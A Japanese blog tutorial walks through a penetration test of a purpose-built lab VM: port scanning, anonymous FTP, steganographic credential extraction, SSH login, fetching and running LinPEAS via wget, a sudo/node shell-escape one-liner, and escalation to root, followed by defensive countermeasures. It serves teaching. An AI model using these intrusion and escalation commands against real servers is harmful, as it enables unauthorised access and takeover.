ペネトレーションテスト①
次はペネトレーションテストについて学んでいきましょう。
ペネトレーションテストは、侵入テストと日本語では呼ばれ、サーバーへの侵入を指すことが多いです。
サーバーへの侵入には様々な手法が用いられます。
先ほど学習したWebアプリケーションの脆弱性(OSコマンドインジェクションなど)を利用して侵入する場合もありますし、SSHのクレデンシャルをブルートフォースして侵入することもあります。
また時には、フィッシングやソーシャルエンジニアリングなどを駆使して侵入することもあります。
侵入の経路は本当に様々です。
今回は、人をターゲットとするソーシャルエンジニアリングは行わず、公開(していると仮定した)サーバーへの侵入を行います。
まずはペネトレーションテスト(外部サーバーへの侵入)の大まかな流れを整理したいと思います。
- ポートスキャンを実行
- 開放された各ポートにて稼働するサービスの調査
- 各サービスの既知の脆弱性(CVE)を調査
- 各サービスのゼロデイの脆弱性を調査
- 発見した脆弱性をエクスプロイト
- 権限の低いユーザーのシェルを獲得(サーバーへの侵入)
- サーバー内部の脆弱性をエクスプロイトし、権限を昇格
こちらの流れはケースバイケースで変更になることもありますが、大きな流れとしては上記のようになります。
今回もペネトレーションテスト用の仮想マシンを用意しましたので、下記リンクよりダウンロードして、Webアプリの環境構築をした時と同じように、VirtualBoxにインポートしてください。
drive.google.com
ネットワーク設定を行う(NATネットワークを選択する)ことをお忘れなく。
そして前回と同じように、Terminalを開いてIPアドレスを取得してください。
そのIPアドレスを公開サーバーのIPアドレスであると仮定して、ペネトレーションテストを行います。
Writeup
まずはポートスキャンを実行しましょう。
ポートスキャンとは、コンピュータネットワークのセキュリティを評価またはテストするための手法の1つであり、特定のホスト上のネットワークポートの状態を調査するプロセスです。これにより、ネットワーク上のシステムがどのようなサービスを提供しているのか、およびそれらのサービスがどのポートで利用可能であるかを判断することができます。
と言われても分かりにくいでしょう。ChatGPTに簡単に説明するように依頼したので、これでイメージがつくはずです。
コンピュータはお互いに話すために特別な「ドア」を使います。これらの「ドア」はポートと呼ばれています。たくさんの異なるポートがあり、それぞれが異なる種類の情報を送受信します。
ポートスキャンは、コンピュータがどの「ドア」(ポート)を開いていて、どの「ドア」を閉じているのかを見つける方法です。これは、コンピュータが他のコンピュータとどのように話しているのかを理解するのに役立ちます。例えば、あるコンピュータがたくさんの「ドア」を開いていると、他の人が入ってきて何か悪いことをする可能性があります。だから、コンピュータのオーナーは、どの「ドア」が開いていてどの「ドア」が閉じているのかを知る必要があります。そして、悪い人が入ってこないように、「ドア」をきちんと閉じることができます。
ポートスキャンは、コンピュータの「ドア」をチェックする方法で、コンピュータを安全に保つのに役立ちます。でも、悪い人もこの方法を使って、コンピュータに入ろうとすることがあります。だから、ポートスキャンは注意して使う必要があります。
ポートスキャンはツールにより簡単に実行できます。
有名な「nmap」と呼ばれるツールがありますので、「nmap」を実行してみましょう。
nmap -sV -sC -Pn 10.0.2.26
結果は下記になります。
Nmap scan report for 10.0.2.26 Host is up (0.00047s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.5 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.0.2.24 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 4 | vsFTPd 3.0.5 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxr-xr-x 2 ftp ftp 4096 Sep 04 14:21 pub 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 99e3ec65f0a66efbaeb97e70df35d1e3 (ECDSA) |_ 256 6a5ebecc61bc6636cefb1bad9ba99cc9 (ED25519) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.52 (Ubuntu) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
3つのポートが開いていることがわかります。
まずは、皆さんに一番なじみ深いPort80から見てみましょう。
Port80
Port80とは普段見ているWebサイトで使用されるポートです。(厳密には、HTTPSのサイトではPort443も使用されていますが、いったん置いておきましょう。)
ですので、ブラウザにIPアドレスを打ち込むことでアクセスできます。
実は「http」から始まるURLは、そのWebサーバーのPort80にアクセスしていることになります。
ですので、下記2つは同じになります。
http://10.0.2.26 http://10.0.2.26:80
いちいち「:80」をブラウザ上でつけることはあまりありませんが、つけてもブラウザからアクセスできます。
ブラウザからアクセスすると、「Apache2」のデフォルトページが出てきます。
どうやらこのページには何もなさそうです。
ではWebアプリケーションの脆弱性の際に学んだ、ディレクトリブルートフォースを実行してみましょう。
「dirsearch」を実行します。
┌──(kali㉿kali)-[~] └─$ dirsearch -u http://10.0.2.26/
すると、「/secret」と呼ばれるディレクトリがあることが判明しました。
移動してみると、下記画像の様にユーザーネームとパスワードを求められます。
これはBasic認証と呼ばれ、クレデンシャルを知っている人しか閲覧できないように制限をかけるものです。
僕たちはクレデンシャルを持っていないので、ここから先に進むことができません。
一度別のポートを見る必要がありそうです。
Port21
Port21はFTPが稼働していることが多いです。FTPはFile Transfer Protocolの略称で、コンピューター間でファイルを転送する際に使用するプロトコルです。
基本的にFTPではクレデンシャルが必要なことが多いですが、ポートスキャンの結果を見ると、匿名ユーザーでログインできることがわかります。
では匿名ユーザーでFTPにログインしてみましょう。
┌──(kali㉿kali)-[~] └─$ ftp 10.0.2.26 Connected to 10.0.2.26. 220 (vsFTPd 3.0.5) Name (10.0.2.26:kali): anonymous 331 Please specify the password. Password: 230 Login successful.
ユーザーネームは「anonymous」でパスワードはなんでも大丈夫です。
そして中身を見てみると、「basic_credential.txt」といういかにもなファイルが見つかります。
ftp> ls 229 Entering Extended Passive Mode (|||60631|) 150 Here comes the directory listing. drwxr-xr-x 2 ftp ftp 4096 Sep 04 14:21 pub 226 Directory send OK. ftp> cd pub 250 Directory successfully changed. ftp> ls 229 Entering Extended Passive Mode (|||11626|) 150 Here comes the directory listing. -rw-r--r-- 1 ftp ftp 38 Sep 01 15:48 basic_credential.txt 226 Directory send OK. ftp> get basic_credential.txt local: basic_credential.txt remote: basic_credential.txt 229 Entering Extended Passive Mode (|||46045|) 150 Opening BINARY mode data connection for basic_credential.txt (38 bytes). 100% |*********************************************************************************************************| 38 174.22 KiB/s 00:00 ETA 226 Transfer complete. 38 bytes received in 00:00 (56.14 KiB/s)
お目当てのファイルをダウンロードできたので、FTPから「exit」コマンドでログアウトします。
次に中身を「cat」コマンドで確認してみましょう。
┌──(kali㉿kali)-[~] └─$ cat basic_credential.txt username: 456-aaa password: Secret123
Basic認証のクレデンシャルが判明しました。
ではもう一度Port80に戻って、「/secret」ディレクトリに移動しましょう。
そして、ユーザーネームとパスワードを入力すると、アクセスできることが分かります。
メッセージを読んでみると、どうやらここにSSHのパスワードがあるようです。(SSHは後ほど説明します。)
しかし、テキストベースでパスワードは書かれていないようです。となると、ウサギの画像がどうも怪しく思えます。
ダウンロードして、解析してみましょう。
ステガノグラフィー
まずは、画像のメタデータをのぞいてみましょう。
メタデータとは、ユーザーには表示されていないその画像の詳細データです。
下記コマンドにて確認できます。結果と合わせて見てみてください。
┌──(kali㉿kali)-[~/Downloads] └─$ exiftool rabbit.jpg ExifTool Version Number : 12.57 File Name : rabbit.jpg Directory : . File Size : 87 kB File Modification Date/Time : 2023:09:28 04:48:06-04:00 File Access Date/Time : 2023:09:28 04:48:06-04:00 File Inode Change Date/Time : 2023:09:28 04:48:06-04:00 File Permissions : -rw-r--r-- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg JFIF Version : 1.01 Resolution Unit : inches X Resolution : 96 Y Resolution : 96 Image Width : 1024 Image Height : 1024 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 1024x1024 Megapixels : 1.0
特に重要な情報はなさそうです。
では次にステガノグラフィーを疑ってみましょう。
ステガノグラフィーについてはWikipediaを参照してください。
ja.wikipedia.org
「steghide」というコマンドでステガノグラフィーの確認をできます。
ステガノグラフィーによって秘匿されたメッセージやファイルを抽出するためには、パスワードを入力する必要がありますが、今回はパスワードを設定し忘れていることを願ってパスワードを空白にしてみましょう。
┌──(kali㉿kali)-[~/Downloads] └─$ steghide extract -sf rabbit.jpg Enter passphrase: wrote extracted data to "ssh_credential.txt".
どうやら、「ssh_credential.txt」というファイルが隠されていたようです。
開いてみると、SSHのクレデンシャルが格納されていることが分かりました。
SSH credential info username: sam password: S3cur3_Th3_C0d3!
これでSSHからログインできそうです。
Port22
Port22では通常SSHが稼働しています。SSHとは、Secure Shellの略称で、リモートコンピュータと通信するためのプロトコルです。
つまり、サーバーのユーザーネームとパスワードを所持していれば、サーバーにログインできるということです。
試しに先ほどのクレデンシャルで試してみましょう。
┌──(kali㉿kali)-[~/Downloads] └─$ ssh sam@10.0.2.26 The authenticity of host '10.0.2.26 (10.0.2.26)' can't be established. ED25519 key fingerprint is SHA256:Lm0l2aOYhhk8gpcfaUHur3HqltZOlDNnLtqj7Bnoz1Y. This host key is known by the following other names/addresses: ~/.ssh/known_hosts:1: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.0.2.26' (ED25519) to the list of known hosts. sam@10.0.2.26's password: $ whoami sam $ id uid=1001(sam) gid=1001(sam) groups=1001(sam)
するとターゲットのサーバーにログインできたことが分かります。
「whoami」や「id」などのコマンドを叩いてみても、Kali Linuxと別環境であることがわかるはずです。
これでサーバーへの侵入が完了しました。おめでとうございます。
しかしここで終わりではありません。
権限昇格という仕事が皆さんには残っています。
確かに「sam」というユーザーとしてログインできましたが、最高権限を持っているわけではありません。
Linuxでは通常「root」というユーザーが最高権限であり、rootユーザーを目指しましょう。
rootになることで、サーバーを完全に掌握したと言えます。
権限昇格
Linuxの権限昇格には、「LinPEAS」というツールがお勧めです。
ではターゲットのサーバーに「LinPEAS」をダウンロードして、実行権限を与えましょう。
$ wget https://github.com/carlospolop/PEASS-ng/releases/download/20230924-10138da9/linpeas.sh $ chmod +x linpeas.sh
そして実行します。
$ ./linpeas.sh
すると、カラフルな結果が返ってくるはずです。その中でオレンジ背景の赤文字が見当たるはずです。
これは、権限を昇格する際に高確率で活用できる情報です。
上記画像には、「janet」というユーザーの権限で「node」コマンドを実行できるという情報があります。
「janet」ユーザーが今より権限が高い可能性がありますので、移動してみましょう。
下記記事にて、sudoで「node」を実行できる際に、実行される権限のユーザーになることのできる(シェルを取ることができる)コマンドが書いてあります。
gtfobins.github.io
ではsudoコマンドを利用して、「janet」として「node」を実行してみましょう。
$ sudo -u janet node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})' $ id uid=1000(janet) gid=1000(janet) groups=1000(janet),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),136(sambashare)
実行すると、「janet」ユーザーになっていることが分かります。
「id」コマンドの結果から、「janet」は「sam」より権限が高いのではないかと予想できます。
「sudo」でどのコマンドを実行できるのか確認してみると、root権限で全てのコマンドを実行できることが分かります。
ですので、「sudo bash」にてrootユーザーに権限を昇格させましょう。
$ sudo -l Matching Defaults entries for janet on janet-VirtualBox: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, pwfeedback User janet may run the following commands on janet-VirtualBox: (ALL) NOPASSWD: ALL (root) NOPASSWD: /usr/bin/mintdrivers-remove-live-media (root) NOPASSWD: /usr/bin/mint-refresh-cache (root) NOPASSWD: /usr/lib/linuxmint/mintUpdate/synaptic-workaround.py (root) NOPASSWD: /usr/lib/linuxmint/mintUpdate/dpkg_lock_check.sh $ sudo bash root@janet-VirtualBox:/tmp# id uid=0(root) gid=0(root) groups=0(root)
おめでとうございます。これであなたはrootです。
ターゲットのサーバーを完全に掌握しました。
いかがだったでしょうか。これがペネトレーションテストになります。
サーバーへの侵入の快感を少しでも知ってもらえると嬉しいです。
今回のサーバーは、実際の業務として行うものよりは、CTFと呼ばれるセキュリティコンテストの問題に近いと思います。
対策
先ほどもお伝えしたように、現実世界では今回と同様のサーバーはまずないでしょう。
しかしこのサーバーから様々なことを学ぶことができます。
まずFTPでは、匿名ユーザーでのログインを許可すべきではないことです。
ユーザーネームとパスワードを設定し、攻撃者に侵入されないようにしましょう。
そしてSSHでは、秘密鍵でのログインを強制するべきです。
今回のサーバーではSSHに、ユーザーネームとパスワードだけでログインすることが可能です。
本来これは推奨されておらず、秘密鍵を用いたログイン方法が一般的です。
公開鍵認証を使えば、秘密鍵を所持しているユーザーしかログインできないため、ブルートフォース攻撃などに対して脆弱でなくなります。
またサーバー内では、「sam」→「janet」→「root」への権限の昇格が簡単でした。
侵入されたことを想定して、他ユーザーへ権限を昇格されてしまうおそれのある脆弱性は必ず潰しておく必要があります。
お疲れ様でした。
続いては、もう少し現実味のあるサーバーをハッキングしましょう。
learn-ethicalhacking.hatenablog.com